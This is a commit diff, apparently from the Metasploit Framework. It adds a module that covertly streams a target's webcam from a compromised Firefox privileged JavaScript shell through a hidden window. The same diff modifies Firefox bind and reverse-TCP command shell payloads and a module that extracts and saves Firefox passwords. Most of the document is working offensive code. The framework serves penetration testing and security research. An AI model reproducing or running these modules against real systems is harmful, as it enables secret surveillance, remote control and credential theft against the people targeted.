Land #3427 - Adds webcam module for firefox privileged sessions on OSX
commit
2a7227f443
|
@ -10,7 +10,7 @@
|
|||
height: 480px;
|
||||
width: 640px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
-moz-border-radius: 15px;
|
||||
background-color: black;
|
||||
position: absolute;
|
||||
left: 50;
|
||||
|
@ -26,7 +26,7 @@
|
|||
height: 180px;
|
||||
width: 200px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
-moz-border-radius: 15px;
|
||||
background-color: #9B9B9B;
|
||||
position: absolute;
|
||||
top: 480;
|
||||
|
@ -66,8 +66,9 @@
|
|||
left: 10;
|
||||
}
|
||||
</style>
|
||||
<script src="=WEBRTCAPIJS="> </script>
|
||||
<script>
|
||||
=WEBRTCAPIJS=
|
||||
|
||||
window.onerror = function(e) {
|
||||
document.getElementById("message").innerHTML = "Error: " + e.toString();
|
||||
}
|
||||
|
|
|
@ -2,6 +2,10 @@
|
|||
<head>
|
||||
<title>Video session</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
div.dot1 {
|
||||
position: absolute;
|
||||
width: 20px;
|
||||
|
@ -84,8 +88,9 @@
|
|||
}
|
||||
</style>
|
||||
|
||||
<script src="api.js"> </script>
|
||||
<script>
|
||||
=WEBRTCAPIJS=
|
||||
|
||||
var channel = '=CHANNEL=';
|
||||
var websocket = new WebSocket('ws://=SERVER=');
|
||||
|
||||
|
@ -136,10 +141,12 @@
|
|||
};
|
||||
|
||||
window.onload = function() {
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.startBroadcasting();
|
||||
});
|
||||
setTimeout(function(){
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.startBroadcasting();
|
||||
});
|
||||
}, 500);
|
||||
};
|
||||
|
||||
function getUserMedia(callback) {
|
||||
|
|
|
@ -14,10 +14,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
# privileged javascript context
|
||||
# @return [String] the results that were sent back. This can be achieved through
|
||||
# calling the "send" function, or by just returning the value in +js+
|
||||
def js_exec(js)
|
||||
def js_exec(js, timeout=30)
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
|
||||
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
|
||||
end
|
||||
|
||||
# Puts the shellcode into memory, adds X flag, and calls it
|
||||
|
|
|
@ -16,6 +16,37 @@ module Msf::Payload::Firefox
|
|||
|
|
||||
end
|
||||
|
||||
# Javascript source of readUntilToken(s)
|
||||
# Continues reading the stream as data is available, until a pair of
|
||||
# command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
|
||||
#
|
||||
# Returns a function that can be passed to the #onDataAvailable callback of
|
||||
# nsIInputStreamPump that will buffer until a second token is read, or, in
|
||||
# the absence of any tokens, a newline character is read.
|
||||
#
|
||||
# @return [String] javascript source code that exposes the readUntilToken(cb) function
|
||||
def read_until_token_source
|
||||
%Q|
|
||||
var readUntilToken = function(cb) {
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
|
||||
var buffer = '', m = null;
|
||||
return function(request, context, stream, offset, count) {
|
||||
buffer += NetUtil.readInputStreamToString(stream, count);
|
||||
if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
|
||||
if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
|
||||
cb(m[2]);
|
||||
buffer = '';
|
||||
}
|
||||
} else if (buffer.indexOf("\\n") > -1) {
|
||||
cb(buffer);
|
||||
buffer = '';
|
||||
}
|
||||
};
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# Javascript source code of readFile(path) - synchronously reads a file and returns
|
||||
# its contents. The file is deleted immediately afterwards.
|
||||
#
|
||||
|
@ -189,4 +220,5 @@ module Msf::Payload::Firefox
|
|||
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
||||
|
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,6 +9,7 @@ class Msf::Post < Msf::Module
|
|||
require 'msf/core/post_mixin'
|
||||
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/webrtc'
|
||||
|
||||
require 'msf/core/post/linux'
|
||||
require 'msf/core/post/osx'
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::WebRTC
|
||||
|
||||
#
|
||||
# Connects to a video chat session as an answerer
|
||||
#
|
||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||
# @return void
|
||||
#
|
||||
def connect_video_chat(server, channel, offerer_id)
|
||||
interface = load_interface('answerer.html')
|
||||
interface.gsub!(/\=SERVER\=/, server)
|
||||
interface.gsub!(/\=RHOST\=/, rhost)
|
||||
interface.gsub!(/\=CHANNEL\=/, channel)
|
||||
interface.gsub!(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_interface = Tempfile.new(['answerer', '.html'])
|
||||
tmp_interface.binmode
|
||||
tmp_interface.write(interface)
|
||||
tmp_interface.close
|
||||
|
||||
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||
unless found_local_browser
|
||||
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam interface
|
||||
#
|
||||
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||
# @return [String] The HTML interface code
|
||||
#
|
||||
def load_interface(html_name)
|
||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||
interface_code = ''
|
||||
::File.open(interface_path) { |f| interface_code = f.read }
|
||||
interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code)
|
||||
interface_code
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam API
|
||||
#
|
||||
# @return [String] The WebRTC lib code
|
||||
#
|
||||
def load_api_code
|
||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||
api = ''
|
||||
::File.open(js_api_path) { |f| api = f.read }
|
||||
api
|
||||
end
|
||||
|
||||
end
|
|
@ -18,6 +18,7 @@ class Webcam
|
|||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::WebRTC
|
||||
|
||||
def initialize(client)
|
||||
@client = client
|
||||
|
@ -195,66 +196,6 @@ class Webcam
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Connects to a video chat session as an answerer
|
||||
#
|
||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||
# @return void
|
||||
#
|
||||
def connect_video_chat(server, channel, offerer_id)
|
||||
interface = load_interface('answerer.html')
|
||||
api = load_api_code
|
||||
|
||||
tmp_api = Tempfile.new('api.js')
|
||||
tmp_api.binmode
|
||||
tmp_api.write(api)
|
||||
tmp_api.close
|
||||
|
||||
interface = interface.gsub(/\=SERVER\=/, server)
|
||||
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
||||
interface = interface.gsub(/\=RHOST\=/, rhost)
|
||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_interface = Tempfile.new('answerer.html')
|
||||
tmp_interface.binmode
|
||||
tmp_interface.write(interface)
|
||||
tmp_interface.close
|
||||
|
||||
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||
unless found_local_browser
|
||||
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam interface
|
||||
#
|
||||
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||
# @return [String] The HTML interface code
|
||||
#
|
||||
def load_interface(html_name)
|
||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||
interface_code = ''
|
||||
::File.open(interface_path) { |f| interface_code = f.read }
|
||||
interface_code
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam API
|
||||
#
|
||||
# @return [String] The WebRTC lib code
|
||||
#
|
||||
def load_api_code
|
||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||
api = ''
|
||||
::File.open(js_api_path) { |f| api = f.read }
|
||||
api
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -23,22 +24,14 @@ module Metasploit3
|
|||
'Arch' => ARCH_FIREFOX,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'firefox',
|
||||
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
||||
'PayloadType' => 'firefox'
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the JS string to use for execution
|
||||
#
|
||||
def command_string
|
||||
def generate
|
||||
%Q|
|
||||
(function(){
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
|
@ -59,16 +52,17 @@ module Metasploit3
|
|||
}
|
||||
};
|
||||
|
||||
#{read_until_token_source}
|
||||
|
||||
var clientListener = function(outStream) {
|
||||
return {
|
||||
onStartRequest: function(request, context) {},
|
||||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
onDataAvailable: readUntilToken(function(data) {
|
||||
runCmd(data, function(err, output) {
|
||||
if(!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
})
|
||||
};
|
||||
};
|
||||
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -45,15 +46,16 @@ module Metasploit3
|
|||
.createInstance(Components.interfaces.nsIInputStreamPump);
|
||||
pump.init(inStream, -1, -1, 0, 0, true);
|
||||
|
||||
#{read_until_token_source}
|
||||
|
||||
var listener = {
|
||||
onStartRequest: function(request, context) {},
|
||||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
onDataAvailable: readUntilToken(function(data) {
|
||||
runCmd(data, function(err, output) {
|
||||
if (!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
#{run_cmd_source}
|
||||
|
@ -63,4 +65,5 @@ module Metasploit3
|
|||
|
||||
EOS
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post
|
|||
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
|
||||
end
|
||||
|
||||
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
|
||||
print_good("Saved #{passwords.length} passwords to #{file}")
|
||||
if passwords.length > 0
|
||||
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
|
||||
print_good("Saved #{passwords.length} passwords to #{file}")
|
||||
else
|
||||
print_warning("No passwords were found in Firefox.")
|
||||
end
|
||||
rescue JSON::ParserError => e
|
||||
print_warning(results)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,109 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'json'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
include Msf::Post::WebRTC
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell',
|
||||
'Description' => %q{
|
||||
This module allows streaming a webcam from a Firefox Privileged Javascript Shell.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev' ],
|
||||
'DisclosureDate' => 'May 13 2014'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]),
|
||||
OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]),
|
||||
OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]),
|
||||
OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
unless os_check
|
||||
print_error "Windows versions of Firefox are not supported at this time [RM #8810]."
|
||||
return
|
||||
end
|
||||
|
||||
server = datastore['ICESERVER']
|
||||
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
||||
channel = Rex::Text.rand_text_alphanumeric(20)
|
||||
|
||||
result = js_exec(js_payload(server, offerer_id, channel))
|
||||
|
||||
if datastore['CLOSE']
|
||||
print_status "Stream closed."
|
||||
else
|
||||
if result.present?
|
||||
print_status result
|
||||
connect_video_chat(server, channel, offerer_id)
|
||||
else
|
||||
print_warning "No response received"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def os_check
|
||||
user_agent = js_exec(%Q|
|
||||
return Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||
|)
|
||||
user_agent !~ /windows/i
|
||||
end
|
||||
|
||||
def js_payload(server, offerer_id, channel)
|
||||
interface = load_interface('offerer.html')
|
||||
api = load_api_code
|
||||
|
||||
interface.gsub!(/\=SERVER\=/, server)
|
||||
interface.gsub!(/\=CHANNEL\=/, channel)
|
||||
interface.gsub!(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
if datastore['TIMEOUT'] > 0
|
||||
api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); "
|
||||
end
|
||||
|
||||
url = if datastore['CLOSE']
|
||||
'"about:blank"'
|
||||
else
|
||||
'"data:text/html;base64,"+html'
|
||||
end
|
||||
|
||||
name = if datastore['VISIBLE']
|
||||
Rex::Text.rand_text_alphanumeric(10)
|
||||
else
|
||||
'_self'
|
||||
end
|
||||
|
||||
%Q|
|
||||
(function(send){
|
||||
try {
|
||||
|
||||
var AppShellService = Components
|
||||
.classes["@mozilla.org/appshell/appShellService;1"]
|
||||
.getService(Components.interfaces.nsIAppShellService);
|
||||
|
||||
var html = "#{Rex::Text.encode_base64(interface)}";
|
||||
var url = #{url};
|
||||
AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');
|
||||
send("Streaming webcam...");
|
||||
|
||||
} catch (e) {
|
||||
send(e);
|
||||
}
|
||||
})(send);
|
||||
|
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue